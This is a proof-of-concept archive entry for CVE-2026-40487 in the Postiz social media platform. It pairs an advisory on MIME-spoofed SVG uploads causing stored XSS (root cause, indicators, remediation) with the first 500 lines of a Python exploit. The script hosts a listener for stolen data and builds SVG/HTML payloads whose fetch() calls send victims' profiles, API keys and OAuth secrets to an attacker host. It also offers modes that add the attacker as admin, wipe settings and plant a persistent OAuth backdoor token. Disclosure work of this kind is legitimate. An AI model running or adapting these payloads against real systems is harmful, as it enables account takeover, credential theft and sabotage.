PoC Archive PoC Archive
High CVE-2026-40487 / GHSA-44wg-r34q-hvfx patched

Postiz Arbitrary File Upload to Stored XSS / Account Takeover (CVE-2026-40487)

by Astaruf (Lorenzo Anastasi) · 2026-07-05

CVSS 8.9/10
Severity
High
CVE
CVE-2026-40487 / GHSA-44wg-r34q-hvfx
Category
web
Affected product
Postiz (open-source social media management platform, gitroomhq/postiz-app)
Affected versions
<= 2.21.5 (fixed in 2.21.6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAstaruf (Lorenzo Anastasi)
CVE / AdvisoryCVE-2026-40487 / GHSA-44wg-r34q-hvfx
Categoryweb
SeverityHigh
CVSS Score8.9 (CVSS v3.1)
StatusPoC
Tagsfile-upload, mime-spoofing, stored-xss, account-takeover, postiz, nodejs, oauth-backdoor
RelatedN/A

Affected Target

FieldValue
Software / SystemPostiz (open-source social media management platform, gitroomhq/postiz-app)
Versions Affected<= 2.21.5 (fixed in 2.21.6)
Language / PlatformPython PoC against a NestJS/Node.js app fronted by nginx
Authentication RequiredYes — attacker needs only a low-privileged (self-registered) account to upload the file; victim (admin/target) needs no interaction beyond opening a link
Network Access RequiredYes

Summary

Postiz accepts file uploads for post media and validates the file type solely from the client-supplied Content-Type header, with no inspection of the actual file bytes. An attacker can upload an SVG (or HTML) file containing embedded JavaScript while declaring Content-Type: image/png; the server stores it under its original extension, and nginx then serves the file back with a content type derived from that extension (image/svg+xml), causing browsers to execute the embedded script. Because the file is served same-origin, the resulting stored XSS runs with the same access as the victim’s session — even though the auth cookie is HttpOnly, in-browser fetch() calls still carry it automatically. The included PoC automates the whole chain: login/registration, malicious SVG upload, link delivery, and over 30 post-exploitation actions (data exfiltration, privilege escalation, sabotage, and creation of a persistent OAuth backdoor token).


Vulnerability Details

Root Cause

Three independent weaknesses combine: (1) custom.upload.validation.ts trusts the attacker-controlled mimetype field instead of inspecting file content (CWE-345); (2) local.storage.ts preserves the client-supplied file extension when writing to disk (CWE-434); (3) nginx serves uploaded files with a Content-Type derived from that extension, with no CSP, nosniff, or Content-Disposition: attachment, so a .svg upload is executed as image/svg+xml by the browser (CWE-79).

Attack Vector

  1. Register/login as a low-privileged Postiz user.
  2. Upload a crafted .svg (or .html) file containing a JavaScript payload while spoofing Content-Type: image/png in the multipart request.
  3. The server stores the file unmodified and returns its public URL, preserving the .svg extension.
  4. Send the returned URL to a victim (e.g., an org admin).
  5. When the victim opens the URL, nginx serves it as image/svg+xml/text/html and the embedded JavaScript executes same-origin, riding the victim’s authenticated session via fetch(..., {credentials:"include"}).

Impact

Full account/session takeover of any user who opens the malicious link: exfiltration of profile data, connected social-platform OAuth tokens, and API keys; creation of a persistent non-expiring OAuth backdoor token; privilege escalation (self-invite as org admin); and destructive actions such as wiping settings or forcing logout.


Environment / Lab Setup

Target:   Postiz <= 2.21.5 instance (self-hosted or SaaS), reachable over HTTP(S)
Attacker: Python 3.8+, `pip install requests`, optional local HTTP listener for exfiltrated data

Proof of Concept

PoC Script

See poc.py and requirements.txt in this folder.

1
2
3
4
5
python3 poc.py http://target:5000 -e attacker@evil.com -p password --check

python3 poc.py http://target:5000 -e attacker@evil.com -p password --lhost YOUR_IP -a full-dump

python3 poc.py http://target:5000 -e attacker@evil.com -p password --lhost YOUR_IP -a create-oauth-app

The script registers/logs in, uploads the MIME-spoofed SVG payload, hosts a local listener to catch exfiltrated data when the victim opens the link, and supports 33 attack modes spanning exfiltration, privilege escalation, sabotage, and backdoor persistence, plus arbitrary authenticated API calls.


Detection & Indicators of Compromise

Signs of compromise:

  • Uploaded media files with .svg or .html extensions in the media library
  • New OAuth applications or pos_* API tokens created without a corresponding admin action
  • Unexplained org-admin invitations or notification/setting changes

Remediation

ActionDetail
Primary fixUpgrade to Postiz 2.21.6 or later, which adds magic-byte content validation, an explicit MIME allowlist, and extension normalization based on detected content type
Interim mitigationServe uploaded media from a separate, cookie-less origin; add Content-Security-Policy, X-Content-Type-Options: nosniff, and Content-Disposition: attachment for the uploads path at the nginx layer

References


Notes

Mirrored from https://github.com/Astaruf/CVE-2026-40487 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Postiz Stored XSS via MIME-Spoofed File Upload
# CVE-2026-40487 | Affected: <= 2.21.5 | Fixed: 2.21.6 | CVSS 3.1: 8.9 High
# CWE-345 / CWE-434 / CWE-79
# Usage: see --help

import argparse
import http.server
import json
import sys
import textwrap
import threading
import urllib.parse
from datetime import datetime

try:
    import requests
except ImportError:
    sys.exit("[!] Missing dependency: requests.  Install it with  pip install requests")

# ====================================================================
# Constants and colour helpers
# ====================================================================

# ANSI escape sequences for terminal colouring
RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
CYAN   = "\033[96m"
BOLD   = "\033[1m"
DIM    = "\033[2m"
RESET  = "\033[0m"


# Module-level proxy configuration (set from --proxy in main)
PROXIES = {}
VERIFY_SSL = True


def _c(colour, text):
    """Wrap *text* in an ANSI colour sequence."""
    return f"{colour}{text}{RESET}"


def info(msg):
    print(f"{_c(YELLOW, '[*]')} {msg}")


def success(msg):
    print(f"{_c(GREEN, '[+]')} {msg}")


def error(msg):
    print(f"{_c(RED, '[!]')} {msg}")


def banner():
    print(f"""{RED}
 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝
{RESET}
  {_c(YELLOW, 'Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload')}
""")


# ====================================================================
# Attack registry
# ====================================================================
#
# Each entry maps a CLI name to a human-readable description and a
# category tag used for grouping in --help output.

ATTACKS = {
    # -- Exfiltration (read) ------------------------------------------
    "dump-self":          ("Exfiltrate victim profile, org, API key",              "exfil"),
    "dump-integrations":  ("Exfiltrate connected social media integrations",       "exfil"),
    "dump-posts":         ("Exfiltrate scheduled and draft posts",                 "exfil"),
    "dump-team":          ("Exfiltrate team members, roles, and emails",           "exfil"),
    "dump-media":         ("Exfiltrate media library listing",                     "exfil"),
    "dump-notifications": ("Exfiltrate notification history",                      "exfil"),
    "dump-signatures":    ("Exfiltrate post signatures",                           "exfil"),
    "dump-webhooks":      ("Exfiltrate configured webhooks and their URLs",        "exfil"),
    "dump-oauth-app":     ("Exfiltrate OAuth app credentials (clientId, secret)",  "exfil"),
    "dump-copilot":       ("Exfiltrate AI copilot conversation threads",           "exfil"),
    "dump-billing":       ("Exfiltrate billing and subscription information",      "exfil"),
    "dump-personal":      ("Exfiltrate personal details (name, bio, picture)",     "exfil"),
    "dump-settings":      ("Exfiltrate shortlink and notification settings",       "exfil"),
    "dump-third-party":   ("Exfiltrate third-party integration configs",           "exfil"),
    "dump-autopost":      ("Exfiltrate autopost rules",                            "exfil"),
    "dump-sets":          ("Exfiltrate content sets",                              "exfil"),
    "dump-tags":          ("Exfiltrate post tags",                                 "exfil"),
    "dump-customers":     ("Exfiltrate customer list",                             "exfil"),
    "full-dump":          ("Exfiltrate everything in a single payload",            "exfil"),

    # -- Privilege escalation -----------------------------------------
    "add-admin":          ("Invite attacker as ADMIN into victim org",             "privesc"),
    "rotate-key":         ("Rotate org API key, exfiltrate the new one",           "privesc"),
    "rotate-oauth":       ("Rotate OAuth app secret, exfiltrate it",              "privesc"),

    # -- Sabotage (availability / integrity) --------------------------
    "kill-notifications": ("Disable all email notifications for the victim",       "sabotage"),
    "edit-profile":       ("Modify victim's display name and bio",                  "sabotage"),
    "wipe-signatures":    ("Delete all post signatures",                           "sabotage"),
    "wipe-webhooks":      ("Delete all configured webhooks",                       "sabotage"),
    "wipe-tags":          ("Delete all post tags",                                 "sabotage"),
    "wipe-sets":          ("Delete all content sets",                              "sabotage"),
    "wipe-autopost":      ("Delete all autopost rules",                            "sabotage"),
    "logout-victim":      ("Force-logout the victim (invalidate session)",         "sabotage"),
    "delete-oauth-app":   ("Delete the victim's OAuth application",                "sabotage"),

    # -- Backdoor (persistence) ---------------------------------------
    "create-oauth-app":   ("Create OAuth app, auto-approve, exfil token (persistent backdoor)", "backdoor"),
    "steal-cookie":       ("Steal auth cookie via document.cookie (NOT_SECURED only)",          "backdoor"),

    # -- Generic / advanced -------------------------------------------
    "api-call":           ("Arbitrary authenticated API call (--api-method, --api-path)",  "generic"),
    "custom":             ("Execute arbitrary JavaScript (--custom-js)",                   "generic"),
}


# ====================================================================
# Exfiltration HTTP server
# ====================================================================

class ExfilHandler(http.server.BaseHTTPRequestHandler):
    """Minimal HTTP handler that receives stolen data and logs it."""

    loot: list    # class-level, set before server starts
    target: str   # class-level, base URL for auto token exchange

    def do_GET(self):
        self._handle()

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode(errors="replace") if length else ""
        self._handle(body)

    def do_OPTIONS(self):
        self.send_response(204)
        self._cors()
        self.end_headers()

    # -- internal helpers ---------------------------------------------

    def _cors(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Headers", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")

    def _handle(self, post_body=None):
        parsed = urllib.parse.urlparse(self.path)
        qs = urllib.parse.parse_qs(parsed.query)

        entry = {
            "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
            "path": parsed.path,
            "params": {k: v[0] if len(v) == 1 else v for k, v in qs.items()},
        }

        if post_body:
            try:
                entry["body"] = json.loads(post_body)
            except json.JSONDecodeError:
                entry["body"] = post_body

        self.__class__.loot.append(entry)

        # Pretty-print to console
        print(f"\n{_c(GREEN, '[+]')} Loot received @ {entry['time']}")
        payload = entry.get("body") or entry["params"]
        if isinstance(payload, dict):
            for k, v in payload.items():
                display = v
                if isinstance(v, str) and len(v) > 200:
                    display = v[:200] + "..."
                elif isinstance(v, (dict, list)):
                    display = json.dumps(v, indent=2, default=str)
                print(f"    {_c(CYAN, k)}: {display}")
        else:
            print(f"    {payload}")

        # Auto-exchange OAuth authorization code for a persistent token
        self._maybe_exchange_oauth(entry)

        self.send_response(200)
        self._cors()
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def _maybe_exchange_oauth(self, entry):
        """If loot is an oauth-backdoor with an auth code, exchange it for a token."""
        body = entry.get("body")
        if not isinstance(body, dict):
            return
        if body.get("tag") != "oauth-backdoor":
            return
        data = body.get("data", {})
        code = data.get("authCode")
        client_id = data.get("clientId")
        client_secret = data.get("clientSecret")
        redirect_url = data.get("redirectUrl")
        if not all([code, client_id, client_secret]):
            return
        target = self.__class__.target
        if not target:
            return
        # Run in a separate thread to avoid blocking the HTTP response
        threading.Thread(
            target=self._do_token_exchange,
            args=(target, client_id, client_secret, code, redirect_url),
            daemon=True,
        ).start()

    @staticmethod
    def _do_token_exchange(target, client_id, client_secret, code, redirect_url):
        """POST /api/oauth/token to exchange the auth code for a persistent token."""
        try:
            r = requests.post(f"{target}/api/oauth/token", json={
                "grant_type": "authorization_code",
                "code": code,
                "client_id": client_id,
                "client_secret": client_secret,
                "redirect_uri": redirect_url or "",
            }, proxies=PROXIES, verify=VERIFY_SSL)
            if r.status_code in (200, 201):
                token_data = r.json()
                token = token_data.get("access_token", token_data)
                print(f"\n{_c(GREEN, '[+]')} OAuth token exchanged automatically!")
                print(f"    {_c(CYAN, 'access_token')}: {token}")
                print(f"    {_c(DIM, 'Use as: Authorization: <token> (no Bearer prefix)')}")
                ExfilHandler.loot.append({
                    "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "path": "/auto-exchange",
                    "body": {"tag": "oauth-token", "data": token_data},
                })
            else:
                print(f"\n{_c(YELLOW, '[*]')} OAuth token exchange returned {r.status_code}: {r.text[:200]}")
        except Exception as exc:
            print(f"\n{_c(RED, '[!]')} OAuth token exchange failed: {exc}")

    def log_message(self, *_args):
        """Suppress default request logging."""
        pass


def start_exfil_server(port, target=""):
    """Launch the exfiltration listener on all interfaces in a daemon thread."""
    ExfilHandler.loot = []
    ExfilHandler.target = target
    srv = http.server.HTTPServer(("0.0.0.0", port), ExfilHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv


# ====================================================================
# JavaScript payload building blocks
# ====================================================================

def _svg_wrapper(js_body):
    """Embed JavaScript inside an SVG file that executes on open."""
    return textwrap.dedent(f"""\
        <svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
        <rect width="1" height="1" fill="white"/>
        <script type="text/javascript">
        // <![CDATA[
        {js_body}
        // ]]>
        </script>
        </svg>""")


def _html_wrapper(js_body):
    """Embed JavaScript inside an HTML file for full-page payloads."""
    return textwrap.dedent(f"""\
        <!DOCTYPE html>
        <html>
        <head><title>Loading...</title></head>
        <body style="background:white">
        <p></p>
        <script>
        {js_body}
        </script>
        </body>
        </html>""")


def _exfil_js(exfil_url, tag, data_expr):
    """Return JS code that POSTs JSON data to the exfil server."""
    return textwrap.dedent(f"""\
        fetch("{exfil_url}", {{
          method: "POST",
          headers: {{"Content-Type": "application/json"}},
          body: JSON.stringify({{tag: "{tag}", data: {data_expr}}})
        }}).catch(function(){{}});""")


def _fetch_and_exfil(exfil_url, tag, endpoint, method="GET", body=None):
    """Return JS that calls an API endpoint and sends the response to exfil."""
    opts = f'method: "{method}", credentials: "include"'
    if body:
        opts += f', headers: {{"Content-Type": "application/json"}}, body: JSON.stringify({body})'
    return textwrap.dedent(f"""\
        fetch("{endpoint}", {{{opts}}})
          .then(function(r) {{
            var ct = r.headers.get("content-type") || "";
            return ct.indexOf("json") > -1 ? r.json() : r.text();
          }})
          .then(function(d) {{
            {_exfil_js(exfil_url, tag, "d")}
          }}).catch(function(){{}});""")


def _action_then_exfil(exfil_url, tag, endpoint, method, body, readback_endpoint):
    """Perform a write action, then read back and exfil the result."""
    body_js = json.dumps(body) if isinstance(body, dict) else body
    return textwrap.dedent(f"""\
        fetch("{endpoint}", {{
          method: "{method}",
          credentials: "include",
          headers: {{"Content-Type": "application/json"}},
          body: JSON.stringify({body_js})
        }})
        .then(function(r) {{ return r.json().catch(function() {{ return {{}}; }}); }})
        .then(function(writeResult) {{
          return fetch("{readback_endpoint}", {{credentials: "include"}})
            .then(function(r2) {{ return r2.json(); }})
            .then(function(readResult) {{
              {_exfil_js(exfil_url, tag, '{action: writeResult, current: readResult}')}
            }});
        }}).catch(function(){{}});""")


# ====================================================================
# Payload generators, one per attack mode
# ====================================================================

# -- Exfiltration payloads -------------------------------------------

def gen_dump_self(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "victim-profile", "/api/user/self")


def gen_dump_integrations(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "integrations", "/api/integrations/list")


def gen_dump_posts(exfil_url, _args):
    return textwrap.dedent(f"""\
        (function() {{
          var now = new Date();
          var start = new Date(now.getTime() - 365*24*60*60*1000);
          var end   = new Date(now.getTime() + 365*24*60*60*1000);
          var qs = "startDate=" + start.toISOString() + "&endDate=" + end.toISOString();
          fetch("/api/posts?" + qs, {{credentials: "include"}})
            .then(function(r) {{ return r.json(); }})
            .then(function(d) {{
              {_exfil_js(exfil_url, "posts", "d")}
            }}).catch(function(){{}});
        }})();""")


def gen_dump_team(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "team-members", "/api/settings/team")


def gen_dump_media(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "media-library", "/api/media?page=1")


def gen_dump_notifications(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "notifications", "/api/notifications/list")


def gen_dump_signatures(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "signatures", "/api/signatures")


def gen_dump_webhooks(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "webhooks", "/api/webhooks")


def gen_dump_oauth_app(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "oauth-app", "/api/user/oauth-app")


def gen_dump_copilot(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/copilot/list", {{credentials: "include"}})
          .then(function(r) {{ return r.json(); }})
          .then(function(data) {{
            var threads = data.threads || [];
            {_exfil_js(exfil_url, "copilot-threads", "threads")}
            var chain = Promise.resolve();
            threads.forEach(function(t) {{
              chain = chain.then(function() {{
                return fetch("/api/copilot/" + t.id + "/list", {{credentials: "include"}})
                  .then(function(r) {{ return r.json(); }})
                  .then(function(messages) {{
                    fetch("{exfil_url}", {{
                      method: "POST",
                      headers: {{"Content-Type": "application/json"}},
                      body: JSON.stringify({{tag: "copilot-thread-" + t.id, data: {{title: t.title, messages: messages}}}})
                    }}).catch(function(){{}});
                  }});
              }});
            }});
            return chain;
          }}).catch(function(){{}});""")


def gen_dump_billing(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "billing", "/api/billing")


def gen_dump_personal(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "personal", "/api/user/personal")


def gen_dump_settings(exfil_url, _args):
    return "\n".join([
        _fetch_and_exfil(exfil_url, "shortlink-settings", "/api/settings/shortlink"),
        _fetch_and_exfil(exfil_url, "email-notifications", "/api/user/email-notifications"),
    ])


def gen_dump_third_party(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "third-party", "/api/third-party")


def gen_dump_autopost(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "autopost-rules", "/api/autopost")


def gen_dump_sets(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "sets", "/api/sets")


def gen_dump_tags(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "tags", "/api/posts/tags")


def gen_dump_customers(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "customers", "/api/integrations/customers")


def gen_full_dump(exfil_url, _args):
    """Comprehensive dump: fires all read endpoints in parallel."""
    endpoints = [
        ("victim-profile",     "/api/user/self"),
        ("personal",           "/api/user/personal"),
        ("organizations",      "/api/user/organizations"),
        ("team-members",       "/api/settings/team"),
        ("integrations",       "/api/integrations/list"),
        ("media-library",      "/api/media?page=1"),
        ("notifications",      "/api/notifications/list"),
        ("signatures",         "/api/signatures"),
        ("webhooks",           "/api/webhooks"),
        ("oauth-app",          "/api/user/oauth-app"),
        ("billing",            "/api/billing"),
        ("shortlink-settings", "/api/settings/shortlink"),
        ("email-notifications","/api/user/email-notifications"),
        ("third-party",        "/api/third-party"),
        ("autopost-rules",     "/api/autopost"),
        ("sets",               "/api/sets"),
        ("tags",               "/api/posts/tags"),
        ("customers",          "/api/integrations/customers"),
        ("approved-apps",      "/api/user/approved-apps"),
    ]
    parts = []
    for tag, ep in endpoints:
        parts.append(_fetch_and_exfil(exfil_url, tag, ep))

    # Posts require dynamic date range
    parts.append(gen_dump_posts(exfil_url, _args))
    # Copilot: list threads, then fetch messages for each
    parts.append(gen_dump_copilot(exfil_url, _args))
    return "\n".join(parts)


# -- Privilege escalation payloads -----------------------------------

def gen_add_admin(exfil_url, args):
    email = args.attacker_email
    return _action_then_exfil(
        exfil_url, "admin-invite",
        "/api/settings/team", "POST",
        {"email": email, "role": "ADMIN", "sendEmail": False},
        "/api/settings/team",
    )


def gen_rotate_key(exfil_url, _args):
    return textwrap.dedent(f"""\
Showing 500 of 1288 lines View full file on GitHub →